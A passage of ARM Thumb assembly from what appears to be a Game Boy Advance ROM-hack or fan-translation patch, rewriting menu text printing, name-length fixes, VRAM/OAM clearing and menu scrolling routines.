r0,=#0x201A1FD // this gets the current item # ldrb r0,[r0,#0] lsl r0,r0,#3 // r0 = item num * 8 ldr r1,=#{item_extras_address} // this is the base address of our extra item data table in ROM add r0,r0,r1 // r0 now has the address of the correct item table ldrb r0,[r0,r2] // r0 now has the proper article entry # mov r1,#40 mul r0,r1 // calculate the offset into custom_text.bin ldr r1,=#{custom_text_address} // load r1 with the base address of our custom text array in ROM add r0,r0,r1 // r0 now has the address of the string we want mov r1,r5 // r1 now has the address to write to bl custom_strcopy // r0 returns with the # of bytes copied add r5,r5,r0 // update the write address add r4,#2 // increment the read address b .ecc_end //--------------------------------------------------------------------------------------------- + // all this code here prints the proper "is equipment" message ldr r0,=#0x201A1FD // this gets the current item # ldrb r0,[r0,#0] ldr r1,=#0x80E510C // start of item data blocks + item_type address mov r2,#0x6C // size of each item data block mul r0,r2 // item_num * 6C add r0,r0,r1 // stored at this address is the current item's type ldrb r0,[r0,#0] // load the item type add r0,#4 // add 4 -- starting on line 4 of custom_extras.txt are the strings we want mov r1,#40 mul r0,r1 ldr r1,=#{custom_text_address} // this is the base address of our custom text array add r0,r0,r1 // r0 now has the correct address mov r1,r5 bl custom_strcopy // r0 returns the # of bytes copied add r5,r5,r0 // update the write address add r4,#2 // increment the read address //--------------------------------------------------------------------------------------------- .ecc_end: pop {r0-r3,pc} //============================================================================================= // This hack fixes the main menu string length counting routine so that character names // don't wind up with extra long names. If the counting routine thought a name was > 8, // manually make the length = 8. //============================================================================================= .counter_fix1: push {lr} //mov r5,#8 // r5 will be the new value to change to if need be ldr r0,[sp,#8] // load r0 with the base address of the string we just counted bl check_name // check if the name is custom cmp r0,#0 beq + cmp r3,r0 // is the length > r5 (normally 8)? ble + // if not, continue as normal, else manually make it = r5 (normally 8) mov r3,r0 + mov r0,r3 // clobbered code pop {r4} mov lr,r4 pop {r4,r5} bx lr //============================================================================================= // This hack fixes the rare case of the menu message "Fav. Food - XXX has XXX of this item." // The game always assumes the fav. food's max length is 22, because that's the length of // normal items. //============================================================================================= .counter_fix2: ldr r2,=#0x2004F02 // load the address of where the fav. food string is stored cmp r4,r2 // if we're working with the fav. food address, alter the max length bne + mov r0,#9 // 9 is the max length for fav. food + lsl r0,r0,#0x10 // clobbered code lsr r2,r0,#0x10 bx lr //============================================================================================= // This hack deletes the content of VRAM that is being shown //============================================================================================= .delete_vram: push {r0-r2,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x600E800 ldr r2,=#0x01000140 // (0x500 => 160 pixels, the GBA screen's height, 24th bit is 1 to fill instead of copying) swi #0x0C // clear old data out pop {r0} pop {r0-r2,pc} //============================================================================================= // This hack deletes the content of text's OAM VRAM that can be used //============================================================================================= .delete_oam_vram: push {r0-r2,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x06010000 ldr r2,=#0x01000C00 // (0x3000 => The full OAM we use for text) swi #0x0C // clear old data out pop {r0} pop {r0-r2,pc} //============================================================================================= // This hack deletes the content of a subsection of text's OAM VRAM that can be used //============================================================================================= //These 2 values must reflect {new_pos_base_alternative2}!!! define delete_oam_vram_subsection_target_addr $6012000 define delete_oam_vram_subsection_zone_size ($6013000-$6012000)/$4 .delete_oam_vram_subsection: push {r0-r3,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#{delete_oam_vram_subsection_target_addr} ldr r2,=#{delete_oam_vram_subsection_zone_size} mov r3,#1 lsl r3,r3,#0x18 orr r2,r3 // (0x1000 => The rest of the OAM) swi #0x0C // clear old data out pop {r0} pop {r0-r3,pc} //============================================================================================= // This hack deletes the content of VRAM in equip when the data shouldn't be shown. Optimized. //============================================================================================= .delete_vram_equip: push {r1-r7,lr} bl $805504C // Get if the character's data can be shown lsl r0,r0,#0x10 cmp r0,#0 // If it can be shown, jump to the end beq + push {r0} // Setup ldr r6,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) ldr r7,=#0x600E9A0 mov r4,#0x40 lsl r5,r4,#2 mov r0,#0 push {r0} //Actual clearing //Weapon //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Body //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Head //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Other //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out pop {r0} // Ending pop {r0} + pop {r1-r7,pc} //============================================================================================= // This hack deletes the content of VRAM in status when the data shouldn't be shown. Optimized. //============================================================================================= .delete_vram_status: push {r1-r7,lr} bl $805504C // Get if the character's data can be shown lsl r0,r0,#0x10 cmp r0,#0 // If it can be shown, jump to the end beq + push {r0} // Setup ldr r6,=#0x0100000E // (0x1C bytes of arrangements, 24th bit is 1 to fill instead of copying) ldr r7,=#0x600EAA4 mov r4,#0x40 lsl r5,r4,#1 mov r0,#0 push {r0} //Actual clearing //Weapon //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Body //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Head //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Other //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Skill //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out pop {r0} // Ending pop {r0} + pop {r1-r7,pc} //============================================================================================= // This hack deletes the content of VRAM that is being shown when going from the inventory to the battle memory // It also clears OAM's text VRAM. //============================================================================================= .delete_vram_inv_to_battle_memory: push {lr} bl .delete_vram bl .delete_oam_vram bl $800399C // Clobbered code pop {pc} //============================================================================================= // This hack deletes the content of VRAM that is being shown when going from the battle memory to the inventory // It also clears OAM's text VRAM. //============================================================================================= .delete_vram_battle_memory_to_inv: push {lr} bl .delete_vram bl .delete_oam_vram bl $804BE64 // Clobbered code pop {pc} //============================================================================================= // This hack puts an alternate menu text palette for certain menus. Used for optimizing //============================================================================================= .add_extra_menu_palette: push {lr} bl $800160C //Normal expected code ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#2 // Is this the PSI menu? beq + cmp r0,#5 // Or the shop's menu? bne .add_extra_menu_palette_end + mov r0,r4 // If it is, load an extra palette as the 8th one ldr r1,=#{alternate_menu_text_palette} mov r2,#0x08 mov r3,#0x20 bl $800160C .add_extra_menu_palette_end: pop {pc} //============================================================================================= // This hack changes how up/down scrolling in menus works - Based off of 0x8046D90, which is basic menu printing //============================================================================================= .new_print_menu_offset_table: dd .new_main_inventory_scroll_print+1; dd .new_equip_print+1; dd .new_psi_scroll_print+1; dd .new_status_print+1 dd .new_skills_scroll_print+1; dd .new_memoes_scroll_print+1; dd .new_default_scroll_print+1; dd .new_battle_memo_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1; dd .new_shop_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 .new_print_menu_offset_table_special: dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1 .new_print_menu_addition_value_table: dw $41EC; dw $41F4; dw $41EC; dw $41EC; dw $41EC; dw $41FC; dw $41EC; dw $41FC; dw $41EC; dw $41EC; dw $4204; dw $4204; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; .new_print_menu_up_down: push {r4,lr} ldr r3,=#0x2016028 // Base code ldr r0,=#0x44F2 add r2,r3,r0 ldrb r1,[r2,#0] lsl r0,r1,#0x1C cmp r0,#0 bge + b .end_new_print_menu_up_down + mov r0,#8 orr r0,r1 strb r0,[r2,#0] ldr r1,=#0x4260 add r0,r3,r1 //Get the type of menu this is ldrb r0,[r0,#0] cmp r0,#0x10 bhi + ldr r2,=#.new_print_menu_addition_value_table lsl r0,r0,#1 ldsh r2,[r2,r0] ldr r0,=#0x2016078 add r1,r0,r2 mov r2,#1 mov r3,#0 bl .new_clear_menu //New code!!! + bl $8049D5C //Back to base code ldr r3,=#0x2016028 ldr r1,=#0x41C6 add r0,r3,r1 ldrb r1,[r0,#0] mov r0,#1 and r0,r1 cmp r0,#0 beq + ldr r2,=#0x41BC add r1,r3,r2 ldrh r0,[r1,#0] cmp r0,#3 bhi .end_new_print_menu_up_down ldrh r1,[r1,#0] lsl r1,r1,#2 ldr r0,=#.new_print_menu_offset_table_special add r1,r1,r0 ldrh r0,[r1,#0] ldrh r1,[r1,#2] lsl r1,r1,#0x10 orr r1,r0 ldr r4,=#0x3060 add r0,r3,r4 bl $8091938 b .end_new_print_menu_up_down + ldr r0,=#0x4260 add r2,r3,r0 ldrb r0,[r2,#0] cmp r0,#0x12 bhi .end_new_print_menu_up_down lsl r0,r0,#5 mov r4,#0xB8 lsl r4,r4,#6 add r1,r3,r4 add r0,r0,r1 ldr r1,=#0x201A288 ldrb r1,[r1,#0] lsl r1,r1,#2 ldr r2,=#.new_print_menu_offset_table add r1,r2,r1 ldrh r2,[r1,#2] lsl r2,r2,#0x10 ldrh r1,[r1,#0] add r1,r1,r2 bl $8091938 // New code! .end_new_print_menu_up_down: pop {r4,pc} //============================================================================================= // This hack changes how a removal in menus works - Based off of 0x8046D90, which is basic menu printing // Same code as above except for the points in which it's present the comment DIFFERENT!!! //============================================================================================= .new_print_menu_a_offset_table: dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_a_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1 .new_print_menu_a: push {r4,lr} ldr r3,=#0x2016028 // Base code ldr r0,=#0x44F2 add r2,r3,r0 ldrb r1,[r2,#0] lsl r0,r1,#0x1C cmp r0,#0 bge + b .end_new_print_menu_a + mov r0,#8 orr r0,r1 strb r0,[r2,#0] ldr r1,=#0x4260 add r0,r3,r1 //Get the type of menu this is ldrb r0,[r0,#0] cmp r0,#0x10 bhi + ldr r2,=#.new_print_menu_addition_value_table lsl r0,r0,#1 ldsh r2,[r2,r0] ldr r0,=#0x2016078 add r1,r0,r2 mov r2,#1 mov r3,#0 bl .new_clear_menu_a //DIFFERENT!!! + bl $8049D5C //Back to base code ldr r3,=#0x2016028 ldr r1,=#0x41C6 add r0,r3,r1 ldrb r1,[r0,#0] mov r0,#1 and r0,r1 cmp r0,#0 beq + ldr r2,=#0x41BC add r1,r3,r2 ldrh r0,[r1,#0] cmp r0,#3 bhi .end_new_print_menu_a ldr r0,=#0x9B8FD74 ldrh r1,[r1,#0] lsl r1,r1,#2 add r1,r1,r0 ldr r4,=#0x3060 add r0,r3,r4 ldr r1,[r1,#0] bl $8091938 b .end_new_print_menu_a + ldr r0,=#0x4260 add r2,r3,r0 ldrb r0,[r2,#0] cmp r0,#0x12 bhi .end_new_print_menu_a lsl r0,r0,#5 mov r4,#0xB8 lsl r4,r4,#6 add r1,r3,r4 add r0,r0,r1 ldr r1,=#0x201A288 ldrb r1,[r1,#0] lsl r1,r1,#2 //DIFFERENT!!! ldr r2,=#.new_print_menu_a_offset_table add r1,r2,r1 ldrh r2,[r1,#2] lsl r2,r2,#0x10 ldrh r1,[r1,#0] add r1,r1,r2 bl $8091938 // New code! .end_new_print_menu_a: pop {r4,pc} //============================================================================================= // This hack changes how menu clearing works, based off of 0x80012BC //============================================================================================= .new_swap_arrangement_routine_table: dd .new_clear_inventory+1; dd .new_clear_equipment+1; dd .new_clear_inventory+1; dd .new_clear_status+1 dd .new_clear_inventory+1; dd .new_clear_memoes+1; dd .new_clear_inventory+1; dd .new_clear_battle_memo+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_shop+1; dd .new_clear_shop+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1 .new_swap_arrangement_routine_special_table: dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1 .new_clear_menu: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-0xC mov r8,r0 mov r5,r1 lsl r2,r2,#0x10 lsr r7,r2,#0x10 mov r0,sp strh r3,[r0,#0] cmp r5,#0 beq .new_clear_menu_next_spot mov r1,#0 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + lsl r0,r0,#0xD lsr r0,r0,#0x10 ldr r2,=#0xFFFF0000 ldr r1,[sp,#4] and r1,r2 orr r1,r0 str r1,[sp,#4] mov r1,#2 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + asr r0,r0,#3 add r4,sp,#4 strh r0,[r4,#2] ldrh r0,[r5,#4] lsr r0,r0,#3 strh r0,[r4,#4] ldrh r0,[r5,#6] lsr r0,r0,#3 strh r0,[r4,#6] ldrh r2,[r4,#0] ldrh r3,[r4,#2] mov r0,r8 mov r1,r7 bl $8001378 mov r5,r0 mov r6,#0 ldrh r0,[r4,#6] cmp r6,r0 bcs + //New code! ldr r0,=#0x201A1EE //If this is an equip submenu, load the special table ldrb r0,[r0,#0] mov r1,#1 and r0,r1 cmp r0,#0 beq .new_clear_menu_normal_menu ldr r0,=#0x201A1E4 ldrb r0,[r0,#0] cmp r0,#3 bhi + lsl r0,r0,#2 ldr r1,=#.new_swap_arrangement_routine_special_table b .new_clear_menu_load_address .new_clear_menu_normal_menu: ldr r0,=#0x201A288 //This is a normal menu ldrb r0,[r0,#0] lsl r0,r0,#2 ldr r1,=#.new_swap_arrangement_routine_table .new_clear_menu_load_address: add r1,r1,r0 ldrh r0,[r1,#0] ldrh r1,[r1,#2] lsl r1,r1,#0x10 add r1,r1,r0 bl $8091938 b + .new_clear_menu_next_spot: //Back to base code mov r0,r8 mov r1,r7 mov r2,#0 mov r3,#0 bl $8001378 mov r5,r0 mov r1,#0x80 lsl r1,r1,#4 bl $80019DC + .new_clear_menu_general: mov r0,sp ldrh r0,[r0,#0] cmp r0,#0 beq + lsl r1,r7,#1 mov r0,#0xB1 lsl r0,r0,#6 add r0,r8 add r0,r0,r1 ldrh r1,[r0,#0] mov r1,#1 strh r1,[r0,#0] + add sp,#0xC pop {r3} mov r8,r3 pop {r4-r7,pc} //============================================================================================= // This hack changes how menu clearing works, based off of 0x80012BC // Same as above, except it cuts a part //============================================================================================= .new_clear_menu_a: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-0xC mov r8,r0 mov r5,r1 lsl r2,r2,#0x10 lsr r7,r2,#0x10 mov r0,sp strh r3,[r0,#0] cmp r5,#0 bne + b .new_clear_menu_next_spot + mov r1,#0 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + lsl r0,r0,#0xD lsr r0,r0,#0x10 ldr r2,=#0xFFFF0000 ldr r1,[sp,#4] and r1,r2 orr r1,r0 str r1,[sp,#4] mov r1,#2 ldsh r0,[r5,r1] cmp r0,#0 bge + add r0,#7 + asr r0,r0,#3 add r4,sp,#4 strh r0,[r4,#2] ldrh r0,[r5,#4] lsr r0,r0,#3 strh r0,[r4,#4] ldrh r0,[r5,#6] lsr r0,r0,#3 strh r0,[r4,#6] ldrh r2,[r4,#0] ldrh r3,[r4,#2] mov r0,r8 mov r1,r7 bl $8001378 b .new_clear_menu_general //============================================================================================= // Swaps the arrangements' place for the inventory //============================================================================================= .new_clear_inventory: push {lr} bl .get_direction cmp r0,#0 bne .new_clear_inventory_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_inventory_end //Swap arrangements' place - if we're descending .new_clear_inventory_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xE0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x38 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_inventory_end: pop {pc} //============================================================================================= // Clears the arrangements for the Status menu //============================================================================================= .new_clear_status: push {lr} mov r1,r5 mov r0,#0x69 lsl r0,r0,#2 add r4,r1,r0 mov r3,#0 - push {r3} mov r0,#0 push {r0} mov r0,sp mov r1,r4 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB mov r0,sp mov r1,r4 add r1,#0x40 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB pop {r0} pop {r3} mov r0,#8 lsl r0,r0,#4 add r4,r4,r0 // Prepare the next one add r3,#1 cmp r3,#5 bne - pop {pc} //============================================================================================= // Clears the arrangements for the Equipment menu //============================================================================================= .new_clear_equipment: push {lr} mov r1,r5 mov r0,#0x84 add r4,r1,r0 mov r3,#0 - push {r3} mov r0,#0 push {r0} mov r0,sp mov r1,r4 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB mov r0,sp mov r1,r4 add r1,#0x40 ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xB pop {r0} pop {r3} mov r0,#1 lsl r0,r0,#8 add r4,r4,r0 // Prepare the next one add r3,#1 cmp r3,#4 bne - pop {pc} //============================================================================================= // Swaps the arrangements' place for the equipment submenu //============================================================================================= .new_clear_equip_submenu: push {lr} bl .get_direction_submenu cmp r0,#0 bne .new_clear_equip_submenu_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r0,r4,r0 mov r2,#0x8 // Put the arrangements one below swi #0xC mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 add r0,#0x40 add r1,#0x40 mov r2,#0x8 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC mov r0,sp mov r1,r5 add r1,#0x40 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_equip_submenu_end //Swap arrangements' place - if we're descending .new_clear_equip_submenu_descending: mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0x8 // Put the arrangements one above swi #0xC mov r1,r5 add r1,#0x40 mov r0,#0x80 add r0,r0,r1 mov r2,#0x8 // Put the arrangements one above swi #0xC add r5,#0x80 cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC mov r0,sp mov r1,r5 add r1,#0x40 ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_equip_submenu_end: pop {pc} //============================================================================================= // Swaps the arrangements' place for the battle memories //============================================================================================= .new_clear_battle_memo: push {lr} add r5,#0x40 bl .get_direction cmp r0,#0 bne .new_clear_battle_memo_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x38 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_battle_memo_end //Swap arrangements' place - if we're descending .new_clear_battle_memo_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xE0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x38 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_battle_memo_end: sub r5,#0x40 pop {pc} //============================================================================================= // Swaps the arrangements' place for the memoes //============================================================================================= .new_clear_memoes: push {lr} add r5,#0xBE bl .get_direction cmp r0,#0 bne .new_clear_memoes_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x30 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_memoes_end //Swap arrangements' place - if we're descending .new_clear_memoes_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xC0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x30 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_memoes_end: sub r5,#0xBE pop {pc} //============================================================================================= // Swaps the arrangements' place for the shop //============================================================================================= .new_clear_shop: push {lr} add r5,#0x2A bl .get_direction cmp r0,#0 bne .new_clear_shop_descending //Swap arrangements' place - if we're ascending mov r1,r5 mov r0,#0x28 lsl r0,r0,#4 add r4,r1,r0 // Get to bottom - mov r1,r4 mov r0,#0x80 sub r4,r4,r0 mov r0,r4 mov r2,#0x20 // Put the arrangements one below swi #0xC cmp r4,r5 bgt - mov r0,#0 push {r0} mov r0,sp mov r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} b .new_clear_shop_end //Swap arrangements' place - if we're descending .new_clear_shop_descending: mov r1,r5 mov r0,#0x80 add r0,r0,r1 mov r2,#0xC0 // Put the arrangements one above swi #0xC mov r0,#0 push {r0} mov r0,#0x28 lsl r1,r0,#4 mov r0,sp add r1,r1,r5 ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying) swi #0xC pop {r0} .new_clear_shop_end: sub r5,#0x2A pop {pc} //============================================================================================= // This hack gives a default print scroller //============================================================================================= .new_default_scroll_print: bx lr //============================================================================================= // This hack changes what the battle memo scrolling will print, based off of 0x80476C0 //============================================================================================= .new_battle_memo_scroll_print: push {r4-r7,lr} add sp,#-4 //base code mov r2,r0 ldr r1,=#0x2016028 mov r6,#1 //New code bl .get_direction cmp r0,#0 bne .new_battle_memo_scroll_print_descending ldrh r0,[r2,#8] b + .new_battle_memo_scroll_print_descending: ldrh r0,[r2,#8] mov r2,#8 sub r2,r2,r6 add r0,r0,r2 + .new_battle_memo_scroll_print_general: lsl r0,r0,#2 //base code mov r2,#0xE0 lsl r2,r2,#6 add r1,r1,r2 add r4,r0,r1 mov r5,#0 cmp r5,r6 bcs .new_battle_memo_scroll_print_end mov r7,#0xF - ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge + ldrb r1,[r4,#0] //Change a bit how this works in order to save space mov r0,#7 bl $8001C5C .new_battle_memo_scroll_print_after_function: b .new_battle_memo_scroll_print_single_continue + mov r0,#1 bl $80486A0 .new_battle_memo_scroll_print_single_continue: add r2,r5,#2 bl .get_battle_memoes_height //New code lsl r2,r2,#0x10 //base code lsr r2,r2,#0x10 str r7,[sp,#0] mov r1,#1 mov r3,#1 neg r3,r3 bl $8047B9C add r0,r5,#1 lsl r0,r0,#0x10 lsr r5,r0,#0x10 add r4,#4 cmp r5,r6 bcc - .new_battle_memo_scroll_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the skill scrolling will print, based off of 0x80473EC //============================================================================================= .new_skills_scroll_print: push {r4-r7,lr} mov r7,r9 //base code mov r6,r8 push {r6,r7} add sp,#-8 mov r4,r0 ldrh r0,[r4,#0xA] bl $8054FE0 add r3,sp,#4 mov r2,sp add r2,#6 mov r1,#0 strh r1,[r2,#0] ldrh r1,[r2,#0] strh r1,[r3,#0] ldrb r0,[r0,#0] mov r9,r2 cmp r0,#3 beq .duster_skills_scroll_print cmp r0,#3 bgt + cmp r0,#2 beq .psi_skills_scroll_print b .generic_skills_scroll_print + cmp r0,#4 bne .generic_skills_scroll_print .psi_skills_scroll_print: add r1,sp,#4 mov r0,#1 b + .duster_skills_scroll_print: mov r0,#1 mov r1,r9 + strh r0,[r1,#0] .generic_skills_scroll_print: ldr r1,=#0x2016028 ldr r2,=#0x427A bl .get_direction //New code! cmp r0,#0 bne .new_skills_scroll_print_descending mov r0,#2 ldrh r2,[r4,#8] b + .new_skills_scroll_print_descending: add r0,r1,r2 ldrh r0,[r0,#0] ldrh r2,[r4,#8] add r2,#0xE sub r0,r0,r2 cmp r0,#2 ble + mov r0,#2 + lsl r0,r0,#0x10 //base code lsr r3,r0,#0x10 mov r8,r3 lsl r2,r2,#2 mov r3,#0xDE lsl r3,r3,#6 add r1,r1,r3 add r5,r2,r1 mov r6,#0 lsr r0,r0,#0x11 cmp r6,r0 bcs .end_double_skills_print mov r7,#0xF //Set the thing to print the bottom two skills at the right position add r0,sp,#4 //But we optimize the code size ldrh r0,[r0,#0] cmp r0,#0 beq + mov r6,#8 mov r4,#0xA b .double_skills_print + mov r1,r9 ldrh r0,[r1,#0] mov r4,#0xB cmp r0,#0 beq + mov r6,#2 b .double_skills_print + mov r6,#0xD .double_skills_print: //Actual double skills printing ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#4 ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] mov r1,r4 bl .get_inventory_height mov r3,#0x16 bl $8047B9C cmp r6,#0x8 bne + mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + .end_double_skills_print: mov r0,#1 mov r3,r8 and r0,r3 cmp r0,#0 beq .new_skills_scroll_print_end add r0,sp,#4 //Set the thing to print the bottom skill at the right position ldrh r0,[r0,#0] //But we optimize the code size cmp r0,#0 beq + mov r6,#8 b .single_skill_print + mov r1,r9 ldrh r0,[r1,#0] cmp r0,#0 beq + mov r6,#2 b .single_skill_print + mov r6,#0xD .single_skill_print: //Actual single skill printing mov r7,#0xF ldrb r1,[r5,#0] mov r0,r6 bl $8001C5C str r7,[sp,#0] 